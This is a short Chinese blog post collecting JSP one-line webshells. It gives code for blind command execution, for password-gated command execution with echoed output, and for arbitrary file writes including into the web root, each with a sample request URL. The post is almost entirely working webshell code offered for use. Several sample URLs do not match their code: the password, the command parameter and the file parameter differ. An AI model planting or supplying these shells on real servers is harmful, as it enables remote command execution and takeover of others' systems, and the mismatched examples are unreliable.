jsp一句话木马总结

一、无回显的命令执行(命令执行后不会在前端页面返回数据)

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

请求url:http://127.0.0.1/shell.jsp?i=whoami


二、有回显带密码的命令执行(命令执行后会在前端返回数据)

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

请求url:http://127.0.0.1/shell.jsp?pwd=admin&cmd=calc


三、文件写入(改写目标服务器里的文件,若文件不存在则创建)

1、ISO-8859-1输入:

new java.io.FileOutputStream(request.getParameter("file")).write(request.getParameter("content").getBytes());

请求url:http://127.0.0.1/input.jsp?file=root/test.txt&content=test


2、UTF-8输入:

new java.io.FileOutputStream(request.getParameter("file")).write(new String(request.getParameter("content").getBytes("ISO-8859-1"), "UTF-8").getBytes());

请求url:http://127.0.0.1/input.jsp?file=root/test.txt&content=test


3、Web目录写入;

new java.io.FileOutputStream(application.getRealPath("/") + "/" + request.getParameter("filename")).write(request.getParameter("content").getBytes());

请求url:http://127.0.0.1/input.jsp?file=test.txt&content=test


posted @ 2021-02-05 21:49  亨利其实很坏  阅读(1391)  评论(0编辑  收藏  举报